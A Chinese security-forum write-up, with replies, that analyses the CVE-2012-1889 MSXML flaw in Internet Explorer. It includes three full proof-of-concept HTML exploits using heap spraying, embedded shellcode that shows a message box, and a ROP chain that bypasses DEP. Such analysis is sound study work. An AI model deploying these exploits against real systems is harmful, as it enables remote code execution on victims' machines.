吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5797|回复: 31
收起左侧

[漏洞分析] CVE-2012-1889 IE漏洞分析 一个高危漏洞报告

[复制链接]
TCP069 发表于 2022-2-28 09:06
本文偏向漏洞成因分析比较具体
1.  软件简介
IExplorer为微软公司开发的浏览器。Microsoft XML Core Services(MSXML)微软XML分析程序是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务,用于处理XML中可扩展样式表语言(XSLT)。
XML分析程序基于微软的元件对象模型(COM),它实质上是XML语法分析器和XPath处理器的应用编程接口(API)。语法分析器将XML数据组织成树状结构以便于处理,处理器将XML转换为超文本标记语言(HTML)用于显示。
1.  漏洞成因
Microsoft XMLCore Services 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。      
该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改
首先引发奔溃分析原因
a)     先引发崩溃查看位置,使用x32dbg更加清晰,运行一个网上下载的下的Poc
html>
<head>
    <title>Step1_Trigger_DEP By:15PB.Com</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
    <script>
        // 1.  准备好Shellcode(unescape()是解码函数)
        var cShellcode = unescape(
        "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
        "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
        "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
        "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
        "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
        "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
        "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
        "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
        "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
        "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
        "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
        "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
        "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
        "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
        "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
        "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
        "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
        "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
        "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
        "\uC25D\u0010\u0000");
        // 2.  制作一块滑板数据
        // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
        var nSlideSize      = 1024*1024 / 2;     // 一个滑板指令区的大小(1MB)
        var nMlcHadSize     = 32        / 2;     // 堆头部大小
        var nStrLenSize     = 4         / 2;     // 堆长度信息大小
        var nTerminatorSize = 2         / 2;     // 堆结尾符号大小
        var nScSize         = cShellcode.length; // Shellcode大小
        var nFillSize       = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
        // 2.2 填充滑板指令,制作好一块填充数据
        var cFillData  = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C   OR AL,0C
        var cSlideData = new Array();              // 申请一个数组对象用于保存滑板数据
        while (cFillData.length <= nSlideSize)
            cFillData += cFillData;
        cFillData = cFillData.substring(0, nFillSize);
        // 3.  填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C
        //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
        //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
        //     后面的Shellcode处,进而执行Shellcode。
        var cBlock = cFillData + cShellcode;
        for (var i = 0; i < 200; i++)
            cSlideData = cBlock.substr(0, cBlock.length);

        // 4.  触发CVE 2012-1889漏洞
        // 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
        var obj15PB = document.getElementById('15PB').object;
        // 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
        var srcImgPath = unescape("\u0C0C\u0C0C");
        while (srcImgPath.length < 0x1000)
            srcImgPath += srcImgPath;
        srcImgPath = "\\\\15PB_Com" + srcImgPath;
        srcImgPath = srcImgPath.substr(0, 0x1000-10);
        // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
        var emtPic = document.createElement("img");
        emtPic.src = srcImgPath;
        emtPic.nameProp;
        // 4.4 定义对象obj15PB(触发溢出)
        obj15PB.definition(0);
    </script>
</body>
</html>

引发崩溃后逆向查看
image.png
   l  现场位于 msxml3.dll中
   l  报错语句为call [ecx+0x18],而ecx为00000000
   l  ecx来源于[eax]
   l  eax来源于[ebp-0x14]
   l  而栈内[ebp-0x14]为0c0c0c0c这是我们之前填充的img.src
        IDA里找奔溃函数:
image.png
·        可以看到对应地址位于InvokeHelper中,应该是用于调用对应C++类对象的属性或者方法的。
·        开头是个FindIndex应该用于获取对应的属性或者方法
·        之后VariantInit查了一下主要用于对变体进行初始化,==但是仅仅是将变体解释设置为VT_EMPTY并不会对关联的值进行归零==
·        接下去 call 了三个函数,第二个+ 0x18的应该是崩溃现场的EIP·        而前面一个+8,对应POC结尾的obj111.definition(0);
查了一下资料应该是对应的C++类内函数get_definition分析get_definitiona)
IDA中找到get_definition的相对偏移地址
image.png
0x71861通过在调试器中下msxml3.dll的dll断点,断下来取随机基址
image.png
算出get_definition地址为0x5DDC1861
invokeHelper地址为0x5DD81B85发现第四次调用invokeHelper的时候在call [esi+0x20]的位置调用了get_definition
image.png
至此可以确认,的确调用了get_definition函数,并且函数返回后就到了崩溃现场
image.png 那么应该就是get_definition中出现或者导致的问题
b)     get_definition的两个参数在IDA中 定位 get_definition后,发现其参数有两个,this指针和**IXMLDOMNode
image.png
返回值应该仅仅是个bool。再回到invokeHelper中查看对其参数和返回值的处理
image.png
虽然参数识别的不太对,但是可以看到只有一个&取地址的,可以判断应该是**IXMLDOMNode而接下来处于崩溃EIP的,则正是调用了v19的偏移。
c)     再回到get_definition中
image.png
可以看到对a2的处理仅限于v5内容非空情况下存在v5却决于getDefinition的函数返回值。==而如果v5为空,则并未处理a2==
image.png
d)     与win10的msxml3.dll对比:
image.png
这里就是漏洞产生的原因了,很明显win10的msxml3.dll已经进行了修复,新增加了对a2的处理实际上就算没有初始化,应该现象是返回了一个无法确定的不安全数值,导致了后面对这个数值的使用和计算出现错误。但是这里是直接崩溃在了那里,查看POC可以看到:
image.png
先构造了一个很长的图片路径,之后用nameProp将路径作为局部变量出现在栈内之后调用了definition而definition实际上是个属性,是个类成员变量。
通过get_definition的函数名我们也能推断。同时msdn上也有这方面的描述所以POC中的调用则正是导致了其,跳转到栈内未初始化数据并崩溃的主要原因
1.  利用过程利用思路:使内存地址0C0C0C0C的位置成为我们自己的代码,可以使用堆喷射技术(Heap Spray)
3.1堆喷射技术&#8195;&#8195;堆喷射是在 shellcode 的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得内存被大量的注入代码占据。然后通过结合其他漏洞控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。&#8195;&#8195;
常见的slide code有NOP指令,还有一些类NOP指令,比如0x0c,0x0d等。它们的共同特点都是不会影响shellcode的执行。可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等。指令和地址必须相同,才能导致自指向,确保正确执行slidecode的空指令;否则随时可能跳转到其他位置。
汇编机器码:0A:OR reg8,reg8/mem8 0B:OR reg16,reg16/mem16 0C:OR al,immed8 0D:OR ax,immed16 查看现已有的poc:3.2初代漏洞测试这段版本JavaScript 语言初始化了一个objec的对象,并且对这个初始化为一个方法传入了参数0触发漏洞利用条件构建好poc以后,再次触发漏洞 查看效果
image.png
5dd8d751 8b45ec         mov     eax,dword ptr [ebp-14h]
5dd8d75d 8b08            mov     ecx,dword ptr [eax] ds:0023:0c0c0c0c=????????
5dd8d772 ff5118          call    dword ptr [ecx+18h]
利用栈溢出漏洞,会将[ebx-14h]溢出数据当做地址取数据,再将这个数据作为地址取0x18的偏移作为地址,call其中的地址,为一个三级指针,可以使用堆喷射技术,将0x0C0C0C0C中的数据变成自己构造的shellcode,从而执行
3.3 Win XP+IE 6.0 poc

<html>
<head>
    <title>CVE 2012-1889 PoC v3 By:15PB.Com</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
    <script>
        // 1.  准备好Shellcode(unescape()是解码函数)
        var cShellcode = unescape(
        "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
        "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
        "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
        "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
        "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
        "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
        "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
        "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
        "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
        "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
        "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
        "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
        "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
        "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
        "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
        "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
        "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
        "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
        "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
        "\uC25D\u0010\u0000");
        // 2.  制作一块滑板数据
        // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
        var nSlideSize      = 1024*1024 / 2;     // 一个滑板指令区的大小(1MB)
        var nMlcHadSize     = 32        / 2;     // 堆头部大小
        var nStrLenSize     = 4         / 2;     // 堆长度信息大小
        var nTerminatorSize = 2         / 2;     // 堆结尾符号大小
        var nScSize         = cShellcode.length; // Shellcode大小
        var nFillSize       = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
        // 2.2 填充滑板指令,制作好一块填充数据
        var cFillData  = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C   OR AL,0C
        var cSlideData = new Array();              // 申请一个数组对象用于保存滑板数据
        while (cFillData.length <= nSlideSize)
            cFillData += cFillData;
        cFillData = cFillData.substring(0, nFillSize);
        // 3.  填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C
        //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
        //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
        //     后面的Shellcode处,进而执行Shellcode。
        for (var i = 0; i < 200; i++)
            cSlideData = cFillData + cShellcode;
        // 4.  触发CVE 2012-1889漏洞
        // 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
        var obj15PB = document.getElementById('15PB').object;
        // 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
        var srcImgPath = unescape("\u0C0C\u0C0C");
        while (srcImgPath.length < 0x1000)
            srcImgPath += srcImgPath;
        srcImgPath = "\\\\15PB_Com" + srcImgPath;
        srcImgPath = srcImgPath.substr(0, 0x1000-10);
        // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
        var emtPic = document.createElement("img");
        emtPic.src = srcImgPath;
        emtPic.nameProp;
        // 4.4 定义对象obj15PB(触发溢出)
        obj15PB.definition(0);
    </script>
</body>
</html>
fghfg.png
经过第一测试直接命中滑点,后续POC有概率弹窗,并不能保证100%触发此漏洞
3.4 Win XP+IE 8.0 poc
3.4.1 绕过DEP
数据执行保护(Data ExecutionPrevention,DEP)     是微软从Windows XP SP2开始加入的一种非常强悍的安全保护技术,它通过设置内存页的NX/XD标志位,来防止堆控件、栈空间的代码执行。
image.png
本次使用Ret2Libc技术绕过DEP检测
返回到库函数执行(Return tolibc,Ret2Libc)是指利用系统自身存在的代码,来调用一些可以关闭DEP的函数,由于整个过程我们使用的全部都是系统自身的代码,因此不存在被DEP阻拦的情况,当我们的代码运行完毕后,DEP即失效,本例使用VirtualProtect函数修改内存页属性通过DEP。
为了绕过DEP,我们需要前面的ret2libc技术,另外,必须保证跳转到堆上的时候正好位于Ret2libc链的第一条指令,因此需要使用精准堆喷射技术,才可以保证0x0C0C0C0C处即为Ret2libc链的第一个字节,使用windbg调试打开POC页面的IE额进程,当完成对的喷射之后,使用windbg查看0x0C0C0C0C所在的堆块的属性以及0x0C0C0C0C距离堆空间首地址的偏移,可以使用命令!heap -p -a 0C0C0C0C 查看
image.png
4.4.2 精准喷射
由于IE 8.0对堆喷射做了一定的限制,采用直接字符串赋值方式会被禁止,因此我们要将堆喷射时的代码做一些修改。
由于绝大多数的x86系统中内存的分页都是4KB大小,假如知道了一个地址距离某个内存页的起始偏移,就可以构建多个完全相同的内存块,并且在偏移位置有关键数据,以此构成精准堆喷射。
每个子数据块分为4部分:Padding,Ret2Libc,Payload,FillData。
Padding为衬垫部分,由大量的滑板指令组成,填充内存页起始到关键数据偏移,使用公式:相对偏移=(目标地址-UserPtr地址)%0x1000/2可得偏移为0x5F6,UserPtr可在windbg中如下图所示指令获得(需要加载符号)。
image.png
Ret2Libc为绕过DEP最主要的部分,我们将使用此技术修改0x0C0C0C0C处内存分页的属性为可执行从而让Payload顺利生效。
Payload 有效载荷,是我们期望目标系统在被渗透攻击之后去执行的代码。
FillData为填充数据,由此部分将数据块填充到4KB,具体内容也是大量滑板指令。
根据前辈们的经验可知在XP SP3+IE8环境中,一个内存块大小为0x40000,并且有0x02的块启示与0x21的块结尾,故构造数据块时要在头尾预留出这两部分的大小。
image.png
经过测试发现必须将栈溢出部分的数据由 0C0C0C0Ch 修改为 0C0C0C08h 使得 EAX 与 ECX 获得不同的值以避免RETN 指令将 0C0C0C0Ch 作为返回地址。否则无法执行堆空间中的后续指令。
接下来就需要修改这个内存的属性为可执行,用到的API VirtualProtect,但是由于DEP的保护,已经不能运行代码,需要绕过DEP,使用return-to-libc攻击方法,利用系统现有的代码,组合成需要的代码
image.png
xp系统下大多数dll并未开启ASLR,因此可以在任意一个系统dll中查找相关指令地址,寻找指令如下:
使用mona插件(打开mona命令:.loadpykd.pyd)
可快速查看各个模块的属性 !py mona mod
image.png
各个模块都没有随机基址,选取msvcrt.dll模块来选取使用命令 !py mona find -s"\xc3" -m msvcrt.dll 查找ret指令地址
image.png
使用命令!py mona find -s "\x5D\xc3" -mmsvcrt.dll 查找popebp | ret指令地址
image.png
使用命令!pymona find -s "\x94\xc3" -m msvcrt.dll查找xchg eax,esp;ret 指令序列
image.png
使用命令u kernel32!VirtualProtect  找到VirtualProtect  地址
image.png
在内存中找一个可读写的地址用来做VirtualProtect函数的第4个参数(oldProtect),可以从msvcrt.dll的.data段寻找,
就用0x77C17A42了

<html>
<head>
    <title>Step4_CVE-2012-1889_v4 By:15PB.Com</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
    <script>
            // 1.  生成Padding
                var cPadding = unescape("\u0C0C\u0C0C");
        while (cPadding.length < 0x1000)
            cPadding += cPadding;
        cPadding = cPadding.substring(0, 0x5F6);
                // 2.  制作Ret2Libc
                var cRet2Libc = unescape(

             "\u11f4\u6d43" + // 0x6d4311f4 : # RETN (ROP NOP) [jp2ssv.dll]
             "\u10fd\u7c34" + // 0x7c3410fd : # POP EBP # RETN [MSVCR71.dll]
             "\u8B05\u7C34" + // 0x7C348B05 : # XCHG EAX, ESP # RETN [MSVCR71.dll]
             "\u11f4\u6d43" + // 0x6d4311f4 : # RETN (ROP NOP) [jp2ssv.dll]
             "\u11f4\u6d43" + // 0x6d4311f4 : # RETN (ROP NOP) [jp2ssv.dll]
             "\u11f4\u6d43" + // 0x6d4311f4 : # RETN (ROP NOP) [jp2ssv.dll]
             "\u11f4\u6d43" + // 0x6d4311f4 : # RETN (ROP NOP) [jp2ssv.dll]<-ROP Entry

             "\u2341\u76EE" + // 0x76EE2341 : # Return to VirtualProtect
             "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
             "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress      = Payload Addr
             "\u1000\u0000" + // 0x00001000 : # dwSize         = 0x00001000
             "\u0040\u0000" + // 0x00000040 : # flNewProtect   = 0x00000040
             "\uBC35\u7C38" );// 0x7C38BC35 : # lpflOldProtect = 0x6FD45088
        // 3.  准备好Payload(unescape()是解码函数)
        var cPayload = unescape(
        "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
        "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
        "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
        "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
        "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
        "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
        "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
        "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
        "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
        "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
        "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
        "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
        "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
        "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
        "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
        "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
        "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
        "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
        "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
        "\uC25D\u0010\u0000");
        // 4.  准备好FillData
        // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
        var nSlideSize = 0x1000;           // 一个滑板指令块的大小(4KB)
        var nPadSize   = cPadding.length;  // Padding大小
                var nR2LSize   = cRet2Libc.length; // Ret2Libc大小
        var nPySize    = cPayload.length;  // Shellcode大小
        var nFillSize  = nSlideSize-nPadSize-nR2LSize-nPySize;
        // 4.2 制作好一块填充数据
        var cFillData  = unescape("\u0C0C\u0C0C");
        while (cFillData.length < nSlideSize)
            cFillData += cFillData;
        cFillData = cFillData.substring(0, nFillSize);
                // 5.  构建滑板指令数据块
                var nBlockSize = 0x40000;  // 256KB
        var cBlock     = cPadding + cRet2Libc + cPayload + cFillData;
        while (cBlock.length < nBlockSize)
            cBlock += cBlock;
        cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809
        // 6.  填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
        //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
        //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
        //     后面的Shellcode处,进而执行Shellcode。
                var cSlideData = new Array();
        for (var i = 0; i < 800; i++)
            cSlideData = cBlock.substr(0, cBlock.length);
        // 7.  触发CVE 2012-1889漏洞
        // 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
        var obj15PB = document.getElementById('15PB').object;
        // 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
        var srcImgPath = unescape("\u0C0C\u0C08");
        while (srcImgPath.length < 0x1000)
            srcImgPath += srcImgPath;
        srcImgPath = "\\\\15PB_Com" + srcImgPath;
        srcImgPath = srcImgPath.substr(0, 0x1000-10);
        // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
        var emtPic = document.createElement("img");
        emtPic.src = srcImgPath;
        emtPic.nameProp;
        // 7.4 定义对象obj15PB(触发溢出)
        obj15PB.definition(0);
    </script>
</body>
</html>


poc成功 如下图所示:


当然后边还有win7系统的操作,只是多了ASLR(加载基址随机化),大家想看的话,我也会将后续的漏洞利用方式发出来!
4.  结语
本漏洞为从Windows XP到Window8所有版本操作系统共有的远程攻击漏洞,有着危害性大、可持续攻击、攻击难度系数低、攻击范围广的特点,属于高危漏洞,触发漏洞的代码是JavaScript中最后一句,即后面obj111.definition(0)。definition是DOM对象的一个属性,而且是只读的属性,不可以把属性当作函数来使用并往里面传递参数。
绕过DEP的关键原理就是RETN,在内存中找到你想要执行的代码,布局Ret2LibC,最后构建VirtualProtect,让PayLoad代码段可执行.
文章如有问题,还望不吝赐教
image.png
image.png
image.png

免费评分

参与人数 17威望 +2 吾爱币 +118 热心值 +16 收起 理由
xiaoheivo + 1 + 1 写的很细 谢谢楼主分享
Or0kit + 1 用心讨论,共获提升!
xiaoxiangzhu233 + 1 + 1 我很赞同!
WangFuGui + 1 + 1 用心讨论,共获提升!
jzq7121 + 1 我很赞同!
5omggx + 1 + 1 用心讨论,共获提升!
香芋 + 1 + 1 用心讨论,共获提升!
15830077627 + 1 + 1 呵呵
BOSSCAT + 1 + 1 小白过来看看。
yixi + 1 + 1 谢谢@Thanks!
loooooooong + 1 + 1 用心讨论,共获提升!
Hslim + 1 + 1 我很赞同!
jnez112358 + 1 + 1 谢谢@Thanks!
Nattevak + 3 + 1 我很赞同!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
howsk + 2 + 1 用心讨论,共获提升!
杨辣子 + 1 + 1 强的一批!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2022-2-28 11:55
TCP069 发表于 2022-2-28 09:44
后边三个图片有问题,编辑中看不到,有什么方法删掉吗

我处理了一下,应该可以看见了,再编辑试试?我帮你编辑了下代码,里面看起来是从其他地方复制过来的,导致很多地方代码不支持,我直接去掉了颜色和字体大小,粘贴可以点击源代码方式进行粘贴,另外我建议把代码用代码框处理一下,这样会好看很多,论坛也支持markdown编写。
 楼主| TCP069 发表于 2022-2-28 09:44
后边三个图片有问题,编辑中看不到,有什么方法删掉吗

点评

我处理了一下,应该可以看见了,再编辑试试?我帮你编辑了下代码,里面看起来是从其他地方复制过来的,导致很多地方代码不支持,我直接去掉了颜色和字体大小,粘贴可以点击源代码方式进行粘贴,另外我建议把代码用代  详情 回复 发表于 2022-2-28 11:55
hc0210 发表于 2022-2-28 13:44
还是个小白,膜拜一下。顺着思路,自己也试一下
jnez112358 发表于 2022-3-5 16:34
已打印学习,谢谢楼主
hzwang1966 发表于 2022-3-6 12:50
mark 学习漏洞中。。
Hslim 发表于 2022-3-6 14:44
写得挺详细的,合适用来学习
akicy 发表于 2022-3-8 19:11
强悍!!!
kuangnuyishi 发表于 2022-3-9 14:45
长知识了!!
无言Y 发表于 2022-3-9 14:46
学习一下
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 11:33

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表